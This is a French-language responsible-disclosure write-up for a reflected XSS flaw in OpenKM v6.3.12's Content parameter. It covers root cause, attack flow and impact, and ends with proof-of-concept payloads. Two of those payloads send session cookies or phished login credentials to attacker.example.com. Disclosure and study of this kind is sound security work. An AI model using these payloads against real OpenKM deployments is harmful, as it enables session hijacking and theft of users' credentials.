
Documentation et preuve de concept pour CVE-2026-30502, une vulnérabilité XSS réfléchie dans OpenKM v6.3.12. Comprend une analyse technique, la cause racine, l'évaluation de l'impact et des conseils de correction pour les chercheurs en sécurité et les testeurs d'intrusion.
Découvert et signalé par Dharmendra Kumar — Chercheur en sécurité
Cybersécurité | Test d'intrusion | Recherche de vulnérabilités | Divulgation responsable
Ce dépôt documente la divulgation responsable de CVE-2026-30502, une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) identifiée dans OpenKM v6.3.12 — un système de gestion documentaire open source largement déployé dans les environnements d'entreprise et gouvernementaux.
La vulnérabilité existe dans le paramètre Content, qui renvoie l'entrée fournie par l'utilisateur au navigateur sans validation ni encodage de sortie approprié. Un attaquant peut créer une URL malveillante contenant du JavaScript intégré et amener une victime à cliquer dessus via une ingénierie sociale, ce qui entraîne l'exécution de scripts dans la session du navigateur de la victime.
⚠️ Sévérité : Moyenne–Élevée | Vecteur d'attaque : Réseau | Privilèges requis : Aucun | Interaction utilisateur : Requise
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-30502 |
| Produit | OpenKM |
| Version affectée | v6.3.12 |
| Classe de vulnérabilité | Cross-Site Scripting Réfléchi (XSS) |
| Paramètre vulnérable | Content |
| CWE | CWE-79 : Mauvaise neutralisation des entrées lors de la génération des pages web |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Sévérité | Moyenne–Élevée |
| Éditeur | MITRE CVE Program |
| Chercheur | Dharmendra Kumar |
| Type de divulgation | Responsable / Coordonnée |
OpenKM est un système de gestion documentaire (DMS) gratuit et open source qui fournit une interface web pour gérer, auditer et distribuer des documents professionnels. Il est utilisé par des entreprises, des organismes gouvernementaux et des établissements d'enseignement dans le monde entier.
v6.3.12Une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) a été identifiée dans OpenKM v6.3.12 via le paramètre Content. L'application ne valide ni n'encode l'entrée fournie par l'utilisateur avant de la renvoyer dans le corps de la réponse HTTP, permettant d'injecter et d'exécuter du JavaScript arbitraire dans le navigateur de la victime.
Contrairement au XSS stocké, une charge utile XSS réfléchie n'est pas persistée dans la base de données — elle est transportée dans une URL spécialement conçue. L'attaque repose sur le fait que la victime est amenée à cliquer sur un lien malveillant (via e-mail, réseaux sociaux ou campagnes de phishing), après quoi la charge utile s'exécute silencieusement dans son navigateur avec le contexte de sa session.
L'attaquant crée une URL malveillante
│
▼
La victime clique sur le lien (phishing / ingénierie sociale)
│
▼
Le navigateur envoie une requête GET/POST avec la charge utile dans le paramètre `Content`
│
▼
OpenKM reflète l'entrée non nettoyée directement dans la réponse HTML
│
▼
Le navigateur analyse et exécute le JavaScript injecté
│
▼
Session détournée / identifiants volés / compte compromis
La vulnérabilité résulte de l'incapacité de l'application à appliquer des contrôles de sécurité entrée-sortie sur le paramètre Content :
| Faiblesse | Description |
|---|---|
| ❌ Aucune validation d'entrée | Le paramètre Content accepte les caractères HTML/JavaScript bruts sans restriction ni filtrage |
| ❌ Aucun encodage de sortie | Les valeurs réfléchies sont écrites dans la réponse HTML sans encodage d'entités HTML |
| ❌ En-tête CSP manquant | Aucune politique de sécurité du contenu n'est appliquée pour bloquer l'exécution de scripts en ligne |
| ❌ Cookies sans HttpOnly | Les jetons de session sont accessibles via JavaScript, permettant le vol direct de cookies |
URL créée par l'utilisateur ──► Paramètre Content ──► [Aucune validation]
──► Réfléchi dans la réponse HTML ──► [Aucun encodage]
──► Le navigateur exécute le script ──► Compte compromis
Une exploitation réussie de cette vulnérabilité peut entraîner :
| Risque | Description |
|---|---|
| 🍪 Détournement de session | Vol des jetons de session actifs via document.cookie pour usurper l'identité de la victime |
| 🔑 Vol d'identifiants | Injection de superpositions de connexion factices pour capturer les noms d'utilisateur et mots de passe en clair |
| 📤 Divulgation d'informations | Exfiltration du contenu de documents sensibles, des données utilisateur ou des configurations internes |
| 🎣 Attaques de phishing | Affichage de pages factices convaincantes hébergées sur le domaine de confiance d'OpenKM |
| 👤 Prise de contrôle de compte | Exécution d'actions authentifiées arbitraires au nom de la victime |
| ⚙️ Actions non autorisées | Modification, suppression ou exfiltration de documents dans le DMS |
| 🖥️ Distribution de logiciels malveillants | Redirection des victimes vers des sites contrôlés par l'attaquant hébergeant des téléchargements malveillants |
⚠️ Avertissement : Les informations suivantes sont partagées strictement à des fins éducatives et de recherche en sécurité dans le cadre des principes de divulgation responsable. Ne testez ni n'utilisez cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite d'évaluation.
// Preuve d'exécution de base
<script>alert('CVE-2026-30502 - XSS par Dharmendra Kumar')</script>
// Exfiltration de cookie de session
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Superposition de phishing d'identifiants
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Nom d\'utilisateur"/>'
+'<input name="p" type="password" placeholder="Mot de passe"/>'
+'<button>Se connecter</button></form>';
document.body.prepend(d);
</script>
https://instance-cible-openkm/[point-de-termine-vulnerable]?Content=<script>alert(1)</script>